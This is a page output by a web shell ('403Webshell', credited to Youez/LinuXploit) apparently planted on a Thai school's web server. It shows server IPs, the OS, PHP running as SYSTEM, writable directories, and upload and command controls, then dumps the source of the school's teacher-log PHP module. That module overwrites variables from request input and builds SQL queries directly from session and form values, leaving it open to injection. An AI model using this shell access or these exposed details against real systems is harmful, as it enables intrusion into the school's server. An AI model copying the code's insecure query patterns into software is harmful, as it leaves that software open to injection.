403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/nongplamor_new/modules/w21/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/nongplamor_new/modules/w21//logteach.php
<?
extract($_REQUEST, EXTR_OVERWRITE);
//	CheckUser($_SESSION['user_user']);
//print_r($_SESSION);
//print_r($_REQUEST);
require_once(__DIR__ . "/const.php");
require_once(__DIR__ . "/lib.php");
//$uid = CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
        $res['user'] = $db->select_query($sql= "SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
      //  echo $sql;
        $arr['user'] = $db->fetch($res['user']);

        if( isset($_REQUEST["year"]) ) $year = $_REQUEST["year"] ;
        if( isset($_REQUEST["term"]) ) $term = $_REQUEST["term"] ; 
        if( isset($_REQUEST["YEAR"]) ) $year = $_REQUEST["YEAR"] ;
        if( isset($_REQUEST["TERM"]) ) $term = $_REQUEST["TERM"] ; 
        if( isset($_REQUEST["WEEK"]) ) $week = $_REQUEST["WEEK"] ; 
    //    $year=date( "Y");
$yearn = $year -543; // Year 2010
if(isset($term) & $term ==1){
  $weekn = date("W", strtotime("1-5-" . $yearn) ); // Week 1
}
else{
   $weekn = date("W", strtotime("16-10-" . $yearn) ); // Week 1
}
$date1 = date( "l j M Y", strtotime($yearn."W".$weekn."0") ); // First day of week
$date2 = date( "l j M Y", strtotime($yearn."W".$weekn."6") ); // Last day of week
//echo "<br>". $date1 . " - " . $date2 ."<br>";


if(isset($_POST['submit'] )){

  foreach($_POST['CODE'] as $idx => $code){
    // echo "$idx ---> $code<br>";
      $data = array(
        "year"=>"$_POST[YEAR]",
        "term"=>"$_POST[TERM]",
        "week"=>"$_POST[WEEK]",
        "date_teach"=>$_POST['date'][$idx],
        "teacher"=>"$_SESSION[user_user]",
        "code"=>"$code",        
        "class"=>$_POST['class'][$idx],        
        "room"=>$_POST['room'][$idx],
        "period"=>$_POST['period'][$idx],
        "numperiod"=>$_POST['numperiod'][$idx],
        "teach"=>$_POST['teach'][$idx],                
        "comment"=>$_POST['comm'][$idx]
      );
     // print_r($data); echo "<br>\n";
      if(isset($_POST['id'][$idx])){
        $db->update_db(TB_logteach, $data,"id=".$_POST['id'][$idx]);
      }
      else{
        $db->add_db(TB_logteach, $data);
      }
      //print_r( $db->error);
  }
}
?>

<div align="left">
	  <table cellspacing="0" cellpadding="0" width="100%" height=450 border="0">
   <tbody>
     <tr>

    <td valign="top" width="100%" > <div align="center">
        <table width="100%" ><tr><td align=left width=20%>
            <a href="?name=w21">
              <img src="images/admin/exit.gif" width="20" height="20" align="middle" border="0" alt="ออกจากหน้านี้">
              <font color="red"><b>ออกจากหน้านี้</b></font></a>
        </td><td>
            	<FORM METHOD=POST ACTION="" name=mFrm  onchange="javascript:this.submit();">
                    <b>ปีการศึกษา </b> <? echo prn_year($year); ?>
                    <b>ภาคเรียนที่ </b> <? echo prn_term($term); ?>
                    <b>สัปดาห์ที่ </b> <? echo prn_week($year , $term ,$week); ?>
                </FORM>
         </td></tr></table>   
           
<style>
.dropbtn {
    padding: 2px;
    font-size: 15px;
    min-width: 240px;
  }
  
  .dropdown {
    font-size: 15px;
    position: relative;
    display: inline-block;
  }
  
  .dropdown-content {
    display: none;
    position: absolute;
    background-color: #f9f9f9;
    text-align: left;
    min-width: 240px;
    box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
    z-index: 1;
  }
  
  .dropdown-content a {
    color: black;
    text-decoration: none;
    display: block;
  }
  
  .dropdown-content a:hover {background-color: #f1f1f1;}
  .dropdown:hover .dropdown-content {display: block;}
  .dropdown:hover .dropbtn {background-color: #f1f1f1;}
</style>
<script type="text/javascript">    
function tipclick(el){
  var txt = el.innerHTML;
  el.parentElement.style.display = "none";
  var elinput = el.parentElement.previousElementSibling ;
  if(elinput.value.length  > 1 )elinput.value += " " ;
  elinput.value += txt ;
}
function tipclickAll(el){
  var i=1;
  var c;
  while(c=document.getElementById("comm-"+i)){
    c.value=el.innerHTML;
    i++;
  }
}

function checkall (el){
  var i=1;
  var c;
  while(c=document.getElementById("teach-"+i)){
    c.checked=el.checked;
    i++;
  }
}
</script>

<FORM METHOD=POST ACTION="" name=saveFrm ">
<?
  echo "<input type=hidden name=YEAR value='$year'>";
  echo "<input type=hidden name=TERM value='$term'>";
  echo "<input type=hidden name=WEEK value='$week'>";
  

?>

        <table width="100%" cellspacing="2" cellpadding="1" >
        <tr bgcolor="#3399cc" height=25>
           <td width="10%"  align=center ><font color="#FFFFFF"><B>รหัสวิชา</B></font></td>
           <td width="30%"  align=center ><font color="#FFFFFF"><B>ชื่อวิชา</B></font></td>
           <td width="5%"  align=center ><font color="#FFFFFF"><B>ชั้น</B></font></td>
           <td width="5%" align=center><font color="#FFFFFF"><B>ห้อง</B></font></td>
           <td width="10%" align=center colspan=2 ><font color="#FFFFFF"><B>วัน</B></font></td>
            <td width="5%" align=center ><font color="#FFFFFF"><B>คาบที่</B></font></td>
 
            <td width="8%" align=center ><font color="#FFFFFF"><B>สอนปกติ </B></font>
            <input type="checkbox" checked id=chkall onclick='checkall(this);'></td>

            <td width="25%" align=center ><font color="#FFFFFF"><B>หมายเหตุ</B></font>
            <div class="dropdown">
                <input type="text" class="dropbtn" id="commall" >
                <div class="dropdown-content" >
<?
    foreach($teach_comment as $v){
      echo "<a href=# onclick='javascript:tipclickAll(this)'>$v</a>";
    }


?>
                  </div>
                </div> 
            </td>

            <td width="5%" align=center ><font color="#FFFFFF"><B>อนุมัติ</B></font></td>
            </tr>  
        <?
        if(! isset($year)) $year = get_cur_year_ed();
        if(! isset($term)) $term = get_cur_term();
         echo  $sql = "SELECT * FROM ".TB_teach_table." WHERE year=$year AND term=$term  ORDER BY day,period" ;
            $db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
            $res['subject'] = $db->select_query($sql);
            $count=0;
            while($arr['subject'] = $db->fetch($res['subject']))
            {
              $count++;
              $date_teach   = get_date($year , $term ,$week,$arr['subject']["day"]) ;
              $date_teach_th= get_date_th($year , $term ,$week,$arr['subject']["day"]) ;
                $res['sara'] = $db->select_query("SELECT * FROM ".TB_subject." WHERE code='".$arr['subject']['code']."' "); 
                $arr['sara'] = $db->fetch($res['sara']);
                $sql  ="SELECT * FROM ".TB_logteach . " WHERE " ;
                $sql .= " `year`=$year AND term=$term AND week=$week AND date_teach='$date_teach' ";
                $sql .= " AND teacher='$_SESSION[user_user]' AND code='".$arr['subject']['code']."' "; 
                $sql .= " AND class='".$arr['subject']['class']."' AND room='".$arr['subject']['room']."' AND period='".$arr['subject']['period']."' ";
                //echo "<tr><td colspan=9>".$sql ."</td></tr>";
                $arr['lteach'] = $db->fetch($db->select_query($sql));
                if($arr['lteach']['id'] ) echo "<input type=hidden name=id[$count] value='".$arr['lteach']['id']."'>";

                echo "<input type=hidden name=CODE[$count] value='". $arr['subject']['code'] ."'>";
         ?>
            <tr bgcolor="#FFFFDF"height=20>
                <td>
                    <?=$arr['subject']['code'];?>
                </td>
                <td><?=$arr['sara']['name'];?></td>

                 <td >
                 <?
                    if($arr['subject']["class"]>0){
                      echo "ม." . $arr['subject']["class"] ;
                      echo "<input type='hidden' name='class[$count]' value='" . $arr['subject']["class"] . "'  >";
                    }
                    if($arr['subject']["room"]>0){
                      echo "/" . $arr['subject']["room"];
                      echo "<input type='hidden' name='room[$count]' value='" . $arr['subject']["room"] . "'  >";
                    }
                ?>
                </td>
                 <td ><?=$arr['subject']["classroom"];?></td>

                 <?
                 echo "<td align=center>". $days[$arr['subject']["day"] ] ."</td>";
                 echo "<td align=right> ". $date_teach_th  ."</td>";
                 echo "<input type='hidden' name='date[$count]' ".
                      "value='" . $date_teach . "'  >";
                 ?>
               <td align="center">
                <?
                  echo $arr['subject']['period'];
                  if($arr['subject']['numperiod']>1) echo "-" . ($arr['subject']['period'] + $arr['subject']['numperiod']-1) ;
                  echo "<input type='hidden' name='period[$count]' ".
                  "value='" . $arr['subject']['period'] . "'  >";
                  echo "<input type='hidden' name='numperiod[$count]' id='numperiod_$count'".
                  "value='" . $arr['subject']['numperiod'] . "'  >";
               ?>
             
                </td>
                <? 
                  if($arr['lteach']['teach'] > 0 ){
                    $tcheck = " checked " ;
                  } 
                  else if(isset($arr['lteach']['teach'])) {
                    $tcheck = "  " ;
                  }
                  else {
                    $tcheck = " checked " ;
                  }
                ?>
                <td align=center>
                <input type="checkbox" <? echo $tcheck; ?>  name="teach[<? echo $count; ?>]" id="teach-<? echo $count; ?>" 
                value='<? echo $arr['subject']['numperiod'] ;?>'  onclick='cal_hour();'  ></td>

                <td>
                <div class="dropdown">
                <input type="text" class="dropbtn" name="comm[<? echo $count; ?>]" id="comm-<? echo $count; ?>" 
                value="<? echo $arr['lteach']['comment'] ;?>">
                <div class="dropdown-content" >
<?
    foreach($teach_comment as $v){
      echo "<a href=# onclick='javascript:tipclick(this)'>$v</a>";
    }
?>
                  </div>
                </div>              
                </td>
<td>
<?     
  if($arr['lteach']['id'] ) echo "<img src=images/save_ok.jpg height=20>";
?>
</td>
            </tr>
        
        </td>
          </tr>
        <? 
        if($arr['lteach']['teach'] > 0 ){
            $sum_period += $arr['subject']['numperiod'] ;
        }
    }
        echo "<script> var pcount = " . $count .";</script>";
        $sum_min = $sum_period * 55;
        $smin  = $sum_min % 60 ;
        $shour = ($sum_min - $smin) /60 ;
        $sum_hour = $shour .':' . $smin   ;
        echo "<tr>";
        echo "<td colspan=7 align=center>รวม</td><td align=center id='sum_period'>" .$sum_period ." คาบ</td>";
        echo "<td align=center id='sum_hour' >" . $sum_hour ." ชั่วโมง</td>";
        echo "</tr>";
        
         ?>
<tr><td colspan=7 align=center>
<input type="submit" value=" บันทึกข้อมูล" name="submit">
</td></tr>
            </TABLE>

<script>
function cal_hour(){
  var sum = 0;
    for(var i=1; i <= pcount ; i++){
      var v = document.getElementById("teach-"+i);
      if(v.checked)   sum += parseInt(v.value);
    }
    document.getElementById("sum_period").innerHTML = sum + " คาบ";
    var min = sum * 55;
    var sumh = Math.floor(min/60) +":"+(min % 60) ;
    document.getElementById("sum_hour").innerHTML = sumh + " ชั่วโมง";
}

</script>


Youez - 2016 - github.com/yon3zu
LinuXploit